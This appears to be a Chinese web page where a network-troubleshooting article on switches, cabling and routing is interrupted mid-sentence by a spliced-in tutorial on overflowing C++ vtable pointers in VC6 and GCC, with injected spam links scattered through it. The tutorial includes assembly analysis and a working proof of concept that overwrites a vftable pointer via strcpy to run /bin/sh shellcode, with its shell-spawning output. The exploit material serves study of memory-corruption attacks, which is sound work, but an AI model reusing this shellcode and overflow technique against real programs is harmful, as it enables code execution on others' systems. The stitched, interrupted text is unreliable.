1.配置交换机
将交换机端口配置<!--StartFragment-->目录:=版权所有 软件 下载 学院 版权所有=
1. C++中虚函数的静态联编和动态联编
2. VC中对象的空间组织和溢出试验
3. GCC中对象的空间组织和溢出试验
4. 参考
<一> C++中虚函数的静态联编和动态联编
C++中的一大法宝就是虚函数,简单来说就是加virtual要害字定义的函数。
其特性就是支持动态联编。现在C++开发的大型软件中几乎已经离不开虚函数的
使用,一个典型的例子就是虚函数是MFC的基石之一。
这里有两个概念需要先解释:=版权所有 软件 下载 学院 版权所有=
静态联编:通俗点来讲就是程序编译时确定调用目标的地址。
动态联编:程序运行阶段确定调用目标的地址。
在C++中通常的函数调用都是静态联编,但假如定义函数时加了virtual要害
字,并且在调用函数时是通过指针或引用调用,那么此时就是采用动态联编。
一个简单例子:
// test.cpp
#include<iostream.h>
class ClassA
{
public:
int num1;
ClassA(){ num1=0xffff; };
virtual void test1(void){};
virtual void test2(void){};
};
ClassA objA,* pobjA;
int main(void)
{
pobjA=&objA;
objA.test1();
objA.test2();
pobjA->test1();
pobjA->test2();
return 0;
}
使用VC编译:
开一个命令行直接在命令行调用cl来编译: (假如你安装vc时没有选择注册环境
变量,那么先在命令行运行VC目录下bin\VCVARS32.BAT )
cl test.cpp /Fa
产生test.asm中间汇编代码
接下来就看看asm里有什么玄虚,分析起来有点长,要有耐心 !
我们来看看:
数据定义:
_BSS SEGMENT
?objA@@3VClassA@@A DQ 01H DUP (?) ;objA 64位
?pobjA@@3PAVClassA@@A DD 01H DUP (?) ;pobjA 一个地址32位
_BSS ENDS
看到objA为64位,里边存放了哪些内容呢? 接着看看构造函数:
_this$ = -4
??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定义了一个变量 _this ?!
; File test.cpp
; Line 6
push ebp
mov ebp, esp
push ecx
mov DWord PTR _this$[ebp], ecx ; ecx 赋值给 _this ?? 不明白??
mov eax, DWORD PTR _this$[ebp]
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
; 前面的部分都是编译器加的东东,我们的赋值在这里
mov ecx, DWORD PTR _this$[ebp]
mov DWORD PTR [ecx+4], 65535 ;0xffff num1=0xffff;
; 看来 _this+4就是num1的地址
mov eax, DWORD PTR _this$[ebp]
mov esp, ebp
pop ebp
ret 0
??0ClassA@@QAE@XZ ENDP
那个_this和mov DWORD PTR _this$[ebp], ecx 让人比较郁闷了吧,不急看看何
处调用的构造函数:
_$E9 PROC NEAR
; File test.cpp
; Line 10
push ebp
mov ebp, esp
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A
call ??0ClassA@@QAE@XZ ;call ClassA::ClassA()
pop ebp
ret 0
_$E9 ENDP
看,ecx指向objA的地址,通过赋值,那个_this就是objA的开始地址,其实CLASS中
的非静态方法编译器编译时都会自动添加一个this变量,并且在函数开始处把ecx
赋值给他,指向调用该方法的对象的地址 。
那么构造函数里的这两行又是干什么呢?
mov eax, DWORD PTR _this$[ebp]
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
我们已经知道_this保存的为对象地址: &objA。 那么 eax = &objA
接着就相当于 ( * eax ) = OFFSET FLAT:??_7ClassA@@6B@
来看看 ??_7ClassA@@6B@ 是哪个道上混的:
CONST SEGMENT
??_7ClassA@@6B@
DD FLAT:?test1@ClassA@@UAEXXZ ; ClassA::`vftable'
DD FLAT:?test2@ClassA@@UAEXXZ
CONST ENDS
看来这里存放的就是test1(),test2()函数的入口地址 ! 那么这个赋值:
mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
; ClassA::`vftable'
就是在对象的起始地址填入这么一个地址列表的地址。
好了,至此我们已经看到了objA的构造了:
| 低地址 |
+--------+ ---> objA的起始地址 &objA
|pvftable|
+--------+-------------------------+
| num1 | num1变量的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a> |
+--------+ ---> objA的结束地址 +--->+--------------+ 地址表 vftable
| 高地址 | |test1()的地址 |
+--------------+
|test2()的地址 |
+--------------+
来看看main函数:
_main PROC NEAR
; Line 13
push ebp
mov ebp, esp
; Line 14
mov DWORD PTR ?pobjA@@3PAVClassA@@A,
OFFSET FLAT:?objA@@3VClassA@@A ; pobjA = &objA
; Line 15
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A ; ecx = this指针
; 指向调用者的地址
call ?test1@ClassA@@UAEXXZ ; objA.test1()
; objA.test1()直接调用,已经确定了地址
; Line 16
mov ecx, OFFSET FLAT:?objA@@3VClassA@@A
call ?test2@ClassA@@UAEXXZ ; objA.test2()
; Line 17
mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
mov edx, DWORD PTR [eax] ; edx = vftable
mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
call DWORD PTR [edx] ;
; call vftable[0] 即 pobjA->test1() 看地址是动态查找的 ; )
; Line 18
mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
mov edx, DWORD PTR [eax]
mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
call DWORD PTR [edx+4] ; pobjA->test2()
; call vftable[1] 而vftable[1]里存放的是test2()的入口地址
; Line 19
xor eax, eax
; Line 20
pop ebp
ret 0
_main ENDP
好了,相信到这里你已经对动态联编有了深刻印象。
<二> VC中对象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织和溢出试验
通过上面的分析我们可以对对象<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织概括如下:
| 低地址 |
+----------+ ---> objA的起始地址 &objA
|pvftable |--------------------->+
+----------+ |
|各成员变量| |
+----------+ ---> objA的结束地址 +---> +--------------+ 地址表 vftable
| 高地址 | |虚函数1的地址 |
+--------------+
|虚函数2的地址 |
+--------------+
| . . . . . . |
可以看出假如我们能覆盖pvtable然后构造一个自己的vftable表那么动态联编就使得
我们能改变程序流程!
现在来作一个溢出试验:
先写个程序来看看
#include<iostream.h>
class ClassEx
{
};
int buff[1];
ClassEx obj1,obj2,* pobj;
int main(void)
{
cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl;
return 0;
}
用cl编译运行结果为:
0x00408998:0x00408990:0x00408991:0x00408994
编译器把buff的地址放到后面了!
把程序改一改,定义变量时换成:
ClassEx obj1,obj2,* pobj;
int buff[1];
结果还是一样!! 不会是vc就是防着这一手吧!
看来想覆盖不轻易呀 ; )
只能通过obj1 溢出覆盖obj2了
//ex_vc.cpp
#include<iostream.h>
class ClassEx
{
public:
int buff[1];
virtual void test(void){ cout << "ClassEx::test()" << endl;};
};
void entry(void)
{
cout << "Why a u here ?!" << endl;
};
ClassEx obj1,obj2,* pobj;
int main(void)
{
pobj=&obj2;
obj2.test();
int vtab[1] = { (int) entry };//构造vtab,
//entry的入口地址
obj1.buff[1] = (int)vtab; //obj1.buff[1]就是 obj2的pvftable域
//这里修改了函数指针列表的地址到vtab
pobj->test();
return 0;
}
编译 cl ex_vc.cpp
运行结果:
ClassEx::test()
Why a u here ?!
测试环境: VC6
看我们修改了程序执行流程 ^_^
平时我们编程时可能用virtaul不多,但假如我们使用BC/VC等,且使用了厂商提供的
库,其实我们已经大量使用了虚函数 ,以后写程序可要小心了,一个不留神的变量
赋值可能会后患无穷。 //开始琢磨好多系统带的程序也是vc写的,里边会不会 ....
<三> GCC中对象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织和溢出试验
刚才我们已经分析完vc下的许多细节了,那么我们接下来看看gcc里有没有什么不
一样!分析方法一样,就是写个test.cpp用gcc -S test.cpp 来编译得到汇编文件
test.s 然后分析test.s我们就能得到许多细节上的东西。
通过分析我们可以看到:
gcc中对象地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>结构如下:
| 低地址 |
+---------------+ 对象的开始地址
| |
| 成员变量<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a> |
| |
+---------------+
| pvftable |----------->+------------------+ vftable
+---------------+ | 0 |
| 高地址 | +------------------+
| XXXXXXXX |
+------------------+
| 0 |
+----------------- +
| 虚函数1入口地址 |
+------------------+
| 0 |
+----------------- +
| 虚函数2入口地址 |
+------------------+
| . . . . . . |
哈哈,可以看到gcc下有个非常大的优势,就是成员变量在pvftable
前面,要是溢出成员变量赋值就能覆盖pvftable,比vc下方便多了!
来写个溢出测试程序:
//test.cpp
#include<iostream.h>
class ClassTest
{
public:
long buff[1]; //大小为1
virtual void test(void)
{
cout << "ClassTest test()" << endl;
}
};
void entry(void)
{
cout << "Why are u here ?!" << endl;
}
int main(void)
{
ClassTest a,*p =&a;
long addr[] = {0,0,0,(long)entry}; //构建的虚函数表
//test() -> entry()
a.buff[1] = ( long ) addr;// 溢出,操作了虚函数列表指针
a.test(); //静态联编的,不会有事
p->test(); //动态联编的,到我们的函数表去找地址,
// 结果就变成了调用函数 entry()
}
编译: gcc test.cpp -lstdc++
执行结果:
bash-2.05# ./a.out
ClassTest test()
Why are u here ?!
测试程序说明:
具体的就是gcc -S test.cpp生成 test.s 后里边有这么一段:
.section .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits
.p2align 2
.type _vt$9ClassTest,@object
.size _vt$9ClassTest,24
_vt$9ClassTest:
.value 0
.value 0
.long __tf9ClassTest
.value 0
.value 0
.long test__9ClassTest ----------+
.zero 8 |
.comm __ti9ClassTest,8,4 |
|
|
test()的地址 <----+
这就是其虚函数列表里的内容了。
test()地址在第3个(long)型地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>
所以我们构造addr[]时:
long addr[] = {0,0,0,(long)entry};
就覆盖了test()函数的地址 为 entry()的地址
p->test()
时就跑到我们构建的地址表里取了entry的地址去运行了
测试环境 FreeBSD 4.4
gcc 2.95.3
来一个真实一点的测试:
通过溢出覆盖pvftable,时期指向一个我们自己构造的
vftable,并且让vftable的虚函数地址指向我们的一段shellcode
从而得到一个shell。
#include<iostream.h>
#include<stdio.h>
class ClassBase //定义一个基础类
{
public:
char buff[128];
void setBuffer(char * s)
{
strcpy(buff,s);
};
virtual void printBuffer(void){}; //虚函数
};
class ClassA :public ClassBase
{
public:
void printBuffer(void)
{
cout << "Name :" << buff << endl;
};
};
class ClassB : public ClassBase
{
public:
void printBuffer(void)
{
cout << "The text : " << buff << endl;
};
};
char buffer[512],*pc;
long * pl = (long *) buffer;
long addr = 0xbfbffabc; // 在我的机器上就是 &b ^_*
char shellcode[]="1\xc0Ph//shh/binT[PPSS4;\xcd\x80";
int i;
int main(void)
{
ClassA a;
ClassB b;
ClassBase * classBuff[2] = { &a,&b };
a.setBuffer("Tom");
b.setBuffer("Hello ! This is world of c++ .");
for(i=0;i<2;i++) //C++中的惯用手法,
//一个基础类的指针指向上层类对象时调
//用的为高层类的虚函数
classBuff[i]->printBuffer(); // 这里是正常用法
cout << &a << " : " << &b << endl; // &b就是上面addr的值,
//假如你的机器上两个值不同就改一改addr值吧!
//构造一个非凡的buff呆会给b.setBuffer
// 在开始处构造一个vftable
pl[0]=0xAAAAAAAA; //填充1
pl[1]=0xAAAAAAAA; //填充2
pl[2]=0xAAAAAAAA; //填充3
pl[3]=addr+16; //虚函数printBuffer入口地址
// 的位置指向shell代码处了
pc = buffer+16;
strcpy(pc,shellcode);
pc+=strlen(shellcode);
for(;pc - buffer < 128 ; *pc++='A'); //填充
pl=(long *) pc;
*pl= addr; //覆盖pvftable使其指向我们构造的列表
b.setBuffer(buffer); //溢出了吧 .
// 再来一次
for(i=0;i<2;i++)
classBuff[i]->printBuffer(); // classBuffer[1].printBuffer
// 时一个shell就出来了
return 0;
}
bash-2.05$ ./a.out
Name :Tom
The text : Hello ! This is world of c++ .
0xbfbffb44 : 0xbfbffabc
Name :
$ <------ 呵呵,成功了
说明:
addr = &b 也就是 &b.buff[0]
b.setBuffer(buffer)
就是让 b.buff溢出,覆盖128+4+1个地址。
此时内存中的构造如下:
&b.buff[0] 也是 &b
^
|
|
[填充1|填充2|填充3|addr+16|shellcode|填充|addr | \0]
____ ^ ___
| | |
| | |
| +---+ | |
| | |
+---------------> 128 <--------------+ |
|
此处即pvftable项 ,被溢出覆盖为 addr <---+
现在b.buff[0]的开始处就构建了一个我们自己的虚
函数表,虚函数的入口地址为shellcode的地址 !
本文只是一个引导性文字,还有许多没
有提到的细节,需要自己去分析。
俗话说自己动手丰衣足食 *_&
<四> 参考
Phrack56# << SMASHING C++ VPTRS >>
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个人愚见,望斧正!
__watercloud__
(watercloud@nsfocus.com)
为100M全双工,服务器安装一块Intell00M EISA网卡,在大流量负荷数据传输时,速度变得极慢,最后发现这款网卡不支持全双工。将交换机端口改为半双工以后,故障消失。这说明交换机的端口与网卡的速率和双工方式必须一致。目前有许多自适应的网卡和交换机,由于品牌的不一致,往往不能正确实现全双工方式,只有手工强制设定才能解决。
2.双绞线的线序
将服务器与交换机的距离由5米改为60米,结果无论如何也连接不通,为什么呢?以太网一般使用两对双绞线,排列在1、2、3、6的位置,假如使用的不是两对线,而是将原配对使用的线分开使用,就会形成缠绕,从而产生较大的串扰(NEXT),影响网络性能。上述故障的原因是由于3、6未使用配对线,在距离变长的情况下连接不通。将RJ45头重新按线序做过以后,一切恢复正常。
3.网络与硬盘
基于文件访问和打印的网络的瓶颈是服务器硬盘的速度,所以配置好服务器硬盘对于网络的性能起着决定性的作用。以下提供几点意见供你参考:
·选用SCSI接口和高转速硬盘。
·硬盘阵列卡能较大幅度地提升硬盘的读写性能和安全性,建议选用。
·不要使低速SCSI设备(如CD)与硬盘共用同一SCSI通道。
4.网段与流量
某台服务器,有两台文件读写极为频繁的工作站,当服务器只安装一块网卡,形成单独网段时,这个网段上的所有设备反应都很慢,当服务器安装了两块网卡,形成两个网段以后,将这两台文件读写极为频繁的工作站分别接在不同的网段上,网络中所有设备的反应速度都有了显著增加。这是因为增加的网段分担了原来较为集中的数据流量,从而提高了网络的反应速度。
5.桥接与路由
安装一套微波联网设备,上网调试时服务器上总是提示当前网段号应是对方的网段号。将服务器的网段号与对方改为一致后,服务器的报警消失了。啊!原来这是一套具有桥接性质的设备。后来与另外一个地点安装微波联网设备,换用了其他一家厂商的产品,再连接,将两边的网段号改为一致,可当装上设备以后,服务器又出现了报警:当前路由错误。修改了一边的网段以后,报警消失了。很明显这是一套具有路由性质的设备。桥的特征是在同一网段上,而路由必须在不同网段上。
6.广播干扰
上述通过桥接设备联网的两端,分别有一套通过广播发送信息的应用软件。当它们同时运行时,两边的服务器均会发出报警:收到不完全的包。将一套应用软件转移到另外一个网段上以后,此报警消失。这是因为网络的广播在同一网段上是没有限制的。两个广播就产生了相互干扰从而产生报警。而将一个应用软件移到另外一个网段以后,就相当于把这个网段的广播与另外网段上的广播设置了路由,从而限制了广播的干扰,这也是路由器最重要的作用。
7.WAN与接地
无意将路由器的电源插头插在了市电的插座上,结果64K DDN就是无法联通。电信局来人检查线路都很正常,最后检查路由器电源的接地电压,发现不对,换回到UPS的插座上,一切恢复正常。
路由器的电源插头接地端坏掉,从而造成数据包经常丢失,做PING连接时,时好时坏。更换电源线后一切正常。WAN的连接因为涉及到远程线路,所以对于接地要求较为严格,才能保证较强的抗干扰性,达到规定的连接速率,不然会出现希奇的故障。